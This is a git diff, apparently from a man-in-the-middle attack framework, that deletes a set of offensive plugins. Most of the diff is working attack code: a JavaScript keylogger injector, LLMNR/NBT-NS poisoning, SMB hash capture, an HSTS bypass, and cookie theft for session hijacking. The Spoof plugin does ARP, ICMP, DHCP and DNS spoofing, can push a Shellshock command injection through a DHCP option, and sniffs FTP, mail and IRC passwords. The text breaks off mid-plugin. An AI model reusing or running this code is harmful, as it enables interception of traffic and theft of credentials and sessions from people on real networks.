msf.login('msf', self.rpcpass) - - jobs = msf.call('job.list') - if len(jobs) > 0: - print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.items(): - msf.call('job.stop', [k]) - - consoles = msf.call('console.list')['consoles'] - if len(consoles) > 0: - print "[*] Closing all virtual consoles" - for console in consoles: - msf.call('console.destroy', [console['id']]) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index ccbf55d..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,147 +0,0 @@ -from plugins.plugin import Plugin -from plugins.Inject import Inject -import logging - -class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - print "[*] Javascript Keylogger plugin online" - - def sendPostData(self, request): - #Handle the plugin output - if 'keylog' in request.uri: - - raw_keys = request.postData.split("&&")[0] - keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) - - input_field = request.postData.split("&&")[1] - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - logging.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) - - #try: - # input_field = input_field.decode('hex') - #except: - # logging.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) - - logging.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger - - payload = """""" - - return payload \ No newline at end of file diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index d250826..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,83 +0,0 @@ -#import os -#import subprocess -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - - -class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" - implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Replace arbitrary content in HTML content" - - def initialize(self, options): - self.options = options - - self.search_str = options.search_str - self.replace_str = options.replace_str - self.regex_file = options.regex_file - - if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[*] Please provide a search string or a regex file") - - self.regexes = [] - if self.regex_file is not None: - print "[*] Loading regexes from file" - for line in self.regex_file: - self.regexes.append(line.strip().split("\t")) - - if self.options.keep_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - print "[*] Replace plugin online" - - def handleResponse(self, request, data): - ip, hn, mime = self._get_req_info(request) - - if self._should_replace(ip, hn, mime): - - if self.search_str is not None and self.search_str != "": - data = data.replace(self.search_str, self.replace_str) - logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - - # Did the user provide us with a regex file? - for regex in self.regexes: - try: - data = re.sub(regex[0], regex[1], data) - - logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception: - logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'request': request, 'data': data} - - return - - def add_options(self, options): - options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") - options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py deleted file mode 100644 index 07fb673..0000000 --- a/plugins/Responder.py +++ /dev/null @@ -1,67 +0,0 @@ -from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr -from libs.responder.Responder import start_responder -from libs.sslstrip.DnsCache import DnsCache -import sys -import os -import threading - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - #implements = ["handleResponse"] - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - - if os.geteuid() != 0: - sys.exit("[-] Responder plugin requires root privileges") - - try: - config = options.configfile['Responder'] - except Exception, e: - sys.exit('[-] Error parsing config for Responder: ' + str(e)) - - try: - self.ip_address = get_if_addr(options.interface) - if self.ip_address == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % self.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - print "[*] Responder plugin online" - DnsCache.getInstance().setCustomAddress(self.ip_address) - - for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: - DnsCache.getInstance().setCustomRes(name, self.ip_address) - - if '--spoof' not in sys.argv: - print '[*] Setting up iptables' - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen) - - t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) - t.setDaemon(True) - t.start() - - def add_options(self, options): - options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") - options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") - - def finish(self): - if '--spoof' not in sys.argv: - print '\n[*] Flushing iptables' - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') \ No newline at end of file diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py deleted file mode 100644 index 9ca19e1..0000000 --- a/plugins/SMBAuth.py +++ /dev/null @@ -1,35 +0,0 @@ -from plugins.plugin import Plugin -from plugins.Inject import Inject -import sys -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - - -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - - def initialize(self, options): - Inject.initialize(self, options) - self.target_ip = options.host - self.html_payload = self._get_data() - - if self.target_ip is None: - try: - self.target_ip = get_if_addr(options.interface) - if self.target_ip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - print "[*] SMBAuth plugin online" - - def add_options(self, options): - options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") - - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 07cc820..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,20 +0,0 @@ -from plugins.plugin import Plugin -from libs.sslstrip.URLMonitor import URLMonitor -import sys - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - has_opts = False - - def initialize(self, options): - self.options = options - - try: - config = options.configfile['SSLstrip+'] - except Exception, e: - sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - - print "[*] SSLstrip+ plugin online" - URLMonitor.getInstance().setHstsBypass(config) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py deleted file mode 100644 index 7cf1b6f..0000000 --- a/plugins/SessionHijacker.py +++ /dev/null @@ -1,157 +0,0 @@ -#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb - -from plugins.plugin import Plugin -from libs.publicsuffix import PublicSuffixList -from urlparse import urlparse -import threading -import os -import sys -import time -import logging -import sqlite3 -import json -import socket - -class SessionHijacker(Plugin): - name = "Session Hijacker" - optname = "hijack" - desc = "Performs session hijacking attacks against clients" - implements = ["cleanHeaders"] #["handleHeader"] - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.psl = PublicSuffixList() - self.firefox = options.firefox - self.mallory = options.mallory - self.save_dir = "./logs" - self.seen_hosts = {} - self.sql_conns = {} - self.sessions = [] - self.html_header="

Cookies sniffed for the following domains\n
\n
" - - #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires - #SQLite version 3.7.0 or later. You won't be able to read the database files - #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted - #or is not a database" message. - - sqlv = sqlite3.sqlite_version.split('.') - if (sqlv[0] <3 or sqlv[1] < 7): - sys.exit("[-] sqlite3 version 3.7 or greater required") - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if self.mallory: - t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) - t.setDaemon(True) - t.start() - - print "[*] Session Hijacker plugin online" - - def cleanHeaders(self, request): # Client => Server - headers = request.getAllHeaders().copy() - client_ip = request.getClientIP() - - if 'cookie' in headers: - - logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - - if self.firefox: - url = "http://" + headers['host'] + request.getPathFromUri() - for cookie in headers['cookie'].split(';'): - eq = cookie.find("=") - cname = str(cookie)[0:eq].strip() - cvalue = str(cookie)[eq+1:].strip() - self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) - - if self.mallory: - self.sessions.append((headers['host'], headers['cookie'])) - logging.info("%s Sent cookie to browser extension" % client_ip) - - #def handleHeader(self, request, key, value): # Server => Client - # if 'set-cookie' in request.client.headers: - # cookie = request.client.headers['set-cookie'] - # #host = request.client.headers['host'] #wtf???? - # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) - # if self.urlMonitor.isClientLogging() is True: - # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) - # else: - # logging.info(message) - - def mallory_server(self): - host = '' - port = 20666 - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server.bind((host,port)) - server.listen(1) - while True: - client, addr = server.accept() - if addr[0] != "127.0.0.1": - client.send("Hacked By China!") - client.close() - continue - request = client.recv(8192) - request = request.split('\n') - path = request[0].split()[1] - client.send("HTTP/1.0 200 OK\r\n") - client.send("Content-Type: text/html\r\n\r\n") - if path == "/": - client.send(json.dumps(self.sessions)) - client.close() - - def firefoxdb(self, host, cookie_name, cookie_value, url, ip): - - session_dir=self.save_dir + "/" + ip - cookie_file=session_dir +'/cookies.sqlite' - cookie_file_exists = os.path.exists(cookie_file) - - if (ip not in (self.sql_conns and os.listdir("./logs"))): - - try: - if not os.path.exists(session_dir): - os.makedirs(session_dir) - - db = sqlite3.connect(cookie_file, isolation_level=None) - self.sql_conns[ip] = db.cursor() - - if not cookie_file_exists: - self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") - self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") - except Exception, e: - print str(e) - - scheme = urlparse(url).scheme - scheme = (urlparse(url).scheme) - basedomain = self.psl.get_public_suffix(host) - address = urlparse(url).hostname - short_url = scheme + "://"+ address - - log = open(session_dir + '/visited.html','a') - if (ip not in self.seen_hosts): - self.seen_hosts[ip] = {} - log.write(self.html_header) - - if (address not in self.seen_hosts[ip]): - self.seen_hosts[ip][address] = 1 - log.write("\n
\n%s" %(short_url, address)) - - log.close() - - if address == basedomain: - address = "." + address - - expire_date = 2000000000 #Year2033 - now = int(time.time()) - 600 - self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - logging.info("%s << Inserted cookie into firefox db" % ip) - - def add_options(self, options): - options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') - options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') - - def finish(self): - if self.firefox: - print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py deleted file mode 100644 index c991cdd..0000000 --- a/plugins/Spoof.py +++ /dev/null @@ -1,497 +0,0 @@ -# -# DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof -# -# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py -# - -from twisted.internet import reactor -from twisted.internet.interfaces import IReadDescriptor -from plugins.plugin import Plugin -from time import sleep -import dns.resolver -import nfqueue -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * -import os -import sys -import threading -from base64 import b64decode -from urllib import unquote -import binascii -import random - - -class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.arp = options.arp - self.icmp = options.icmp - self.dns = options.dns - self.dhcp = options.dhcp - self.shellshock = options.shellshock - self.gateway = options.gateway - #self.summary = options.summary - self.target = options.target - self.arpmode = options.arpmode - self.port = options.listen - self.hsts = options.hsts - self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de - self.debug = False - self.send = True - - if os.geteuid() != 0: - sys.exit("[-] Spoof plugin requires root privileges") - - if self.options.log_level == 'debug': - self.debug = True - - try: - self.mac = get_if_hwaddr(self.interface) - except Exception, e: - sys.exit('[-] Error retrieving interfaces MAC address: %s' % e) - - if self.arp: - if not self.gateway: - sys.exit("[-] --arp argument requires --gateway") - - self.routermac = getmacbyip(self.gateway) - - print "[*] ARP Spoofing enabled" - if self.arpmode == 'req': - pkt = self.build_arp_req() - elif self.arpmode == 'rep': - pkt = self.build_arp_rep() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) - - elif self.icmp: - if not self.gateway: - sys.exit("[-] --icmp argument requires --gateway") - - self.routermac = getmacbyip(self.gateway) - - print "[*] ICMP Redirection enabled" - pkt = self.build_icmp() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) - - elif self.dhcp: - print "[*] DHCP Spoofing enabled" - if self.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") - - self.rand_number = [] - self.dhcp_dic = {} - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - - thread_target = self.dhcp_sniff - thread_args = () - - else: - sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") - - print "[*] Spoof plugin online" - if not self.manualiptables: - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - - if (self.dns or self.hsts): - print "[*] DNS Tampering enabled" - - if self.dns: - self.dnscfg = options.configfile['Spoof']['DNS'] - - self.hstscfg = options.configfile['SSLstrip+'] - - if not self.manualiptables: - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') - - self.start_dns_queue() - - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('1') - file.close() - if not self.manualiptables: - print '[*] Setting up iptables' - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) - - #CHarvester = CredHarvester() - t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args) - #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) - - t.setDaemon(True) - t.start() - - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) - - return rand_ip - - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - - if resp[DHCP].options[0][1] == 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - sendp(packet, iface=self.interface, verbose=self.debug) - - if resp[DHCP].options[0][1] == 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - logging.info("Sending DHCP ACK") - packet[DHCP].options.append("end") - - sendp(packet, iface=self.interface, verbose=self.debug) - - def dhcp_sniff(self): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) - - def send_packets(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=2, iface=interface, verbose=debug) - - def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\ - IP(src=self.target, dst=self.gateway)/UDP() - - return pkt - - def build_arp_req(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") - - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target) - - return pkt - - def build_arp_rep(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") - - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2) - - return pkt - - def resolve_domain(self, domain): - try: - #logging.info("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - logging.debug("Error resolving " + domain) - - def nfqueue_callback(self, payload, *kargs): - data = payload.get_data() - pkt = IP(data) - if not pkt.haslayer(DNSQR): - payload.set_verdict(nfqueue.NF_ACCEPT) - else: - #logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - - def modify_dns(self, payload, pkt, ip): - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - - payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) - logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - - def start_dns_queue(self): - self.q = nfqueue.queue() - self.q.set_callback(self.nfqueue_callback) - self.q.fast_open(0, socket.AF_INET) - self.q.set_queue_maxlen(5000) - reactor.addReader(self) - self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) - - def fileno(self): - return self.q.get_fd() - - def doRead(self): - self.q.process_pending(100) - - def connectionLost(self, reason): - reactor.removeReader(self) - - def logPrefix(self): - return 'queue' - - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - - def finish(self): - self.send = False - sleep(3) - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('0') - file.close() - if not self.manualiptables: - print '\n[*] Flushing iptables' - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - - if (self.dns or self.hsts): - try: - self.q.unbind(socket.AF_INET) - self.q.close() - except: - pass - - if self.arp: - print '[*] Re-arping network' - pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2) - sendp(pkt, inter=1, count=5, iface=self.interface) - -class CredHarvester(): - - fragged = 0 - imapauth = 0 - popauth = 0 - ftpuser = None # Necessary since user and pass come in separate packets - ircnick = None # Necessary since user and pass come in separate packets - # For concatenating fragmented packets - prev_pkt = {6667:{}, # IRC - 143:{}, # IMAP - 110:{}, # POP3 - 26:{}, # SMTP - 25:{}, # SMTP - 21:{}} # FTP - - def start(self, interface): - sniff(prn=self.pkt_sorter, iface=interface) - - def pkt_sorter(self, pkt): - if pkt.haslayer(Raw) and pkt.haslayer(TCP): - self.dest = pkt[IP].dst - self.src = pkt[IP].src - self.dport = pkt[TCP].dport - self.sport = pkt[TCP].sport - self.ack = pkt[TCP].ack - self.seq = pkt[TCP].seq - self.load = str(pkt[Raw].load) - - if self.dport == 6667: - """ IRC """ - port = 6667 - self.header_lines = self.hb_parse(port) # Join fragmented pkts - return self.irc(port) - - elif self.dport == 21 or self.sport == 21: - """ FTP """ - port = 21 - self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse - self.ftp(port) - - elif self.sport == 110 or self.dport == 110: - """ POP3 """ - port = 110 - self.header_lines = self.hb_parse(port) # Join fragmented pkts - self.mail_pw(port) - - elif self.sport == 143 or self.dport == 143: - """ IMAP """ - port = 143 - self.header_lines = self.hb_parse(port) # Join fragmented pkts - self.mail_pw(port) - - def headers_body(self, protocol): - try: - h, b = protocol.split("\r\n\r\n", 1) - return h, b - except Exception: - h, b = protocol, '' - return h, b - - def frag_joiner(self, port): - self.fragged = 0 - if len(self.prev_pkt[port]) > 0: - if self.ack in self.prev_pkt[port]: - self.fragged = 1 - return {self.ack:self.prev_pkt[port][self.ack]+self.load} - return {self.ack:self.load} - - def hb_parse(self, port): - self.prev_pkt[port] = self.frag_joiner(port) - self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack]) - return self.headers.split('\r\n') - - def mail_pw(self, port): - load = self.load.strip('\r\n') - - if self.dport == 143: - auth_find = 'authenticate plain' - proto = 'IMAP' - auth = self.imapauth - self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port) - - elif self.dport == 110: - auth_find = 'AUTH PLAIN' - proto = 'POP' - auth = self.popauth - self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port) - - def mail_pw_auth(self, load, auth_find, proto, auth, port): - if auth == 1: - user, pw = load, 0 - logging.warning('[%s] %s auth: %s' % (self.src, proto, load)) - self.b64decode(load, port) - return 0 - - elif auth_find in load: - return 1 - - def b64decode(self, load, port): - b64str = load - try: - decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning - except Exception: - decoded = '' - # Test to see if decode worked - if '@' in decoded: - logging.debug('%s Decoded: %s' % (self.src, decoded)) - decoded = decoded.split() - - def ftp(self, port): - """Catch FTP usernames, passwords, and servers""" - load = self.load.replace('\r\n', '') - - if port == self.dport: - if 'USER ' in load: - user = load.strip('USER ') - logging.warning('[%s > %s] FTP user: ' % (self.src, self.dest), user) - self.ftpuser = user - - elif 'PASS ' in load: - pw = load.strip('PASS ') - logging.warning('[%s > %s] FTP password:' % (self.src, self.dest), pw) - - def irc(self, port): - load = self.load.split('\r\n')[0] - - if 'NICK ' in load: - self.ircnick = load.strip('NICK ') - logging.warning('[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick)) - - elif 'NS IDENTIFY ' in load: - ircpass = load.strip('NS IDENTIFY ') - logging.warning('[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass)) \ No newline at end of file diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py deleted file mode 100644 index 525e447..0000000 --- a/plugins/Upsidedownternet.py +++ /dev/null @@ -1,49 +0,0 @@ -import logging -from cStringIO import StringIO -from plugins.plugin import Plugin -from PIL import Image - - -class Upsidedownternet(Plugin): - name = "Upsidedownternet" - optname = "upsidedownternet" - desc = 'Flips images 180 degrees' - has_opts = False - implements = ["handleResponse", "handleHeader"] - - def initialize(self, options): - from PIL import Image, ImageFile - globals()['Image'] = Image - globals()['ImageFile'] = ImageFile - self.options = options - - def handleHeader(self, request, key, value): - '''Kill the image skipping 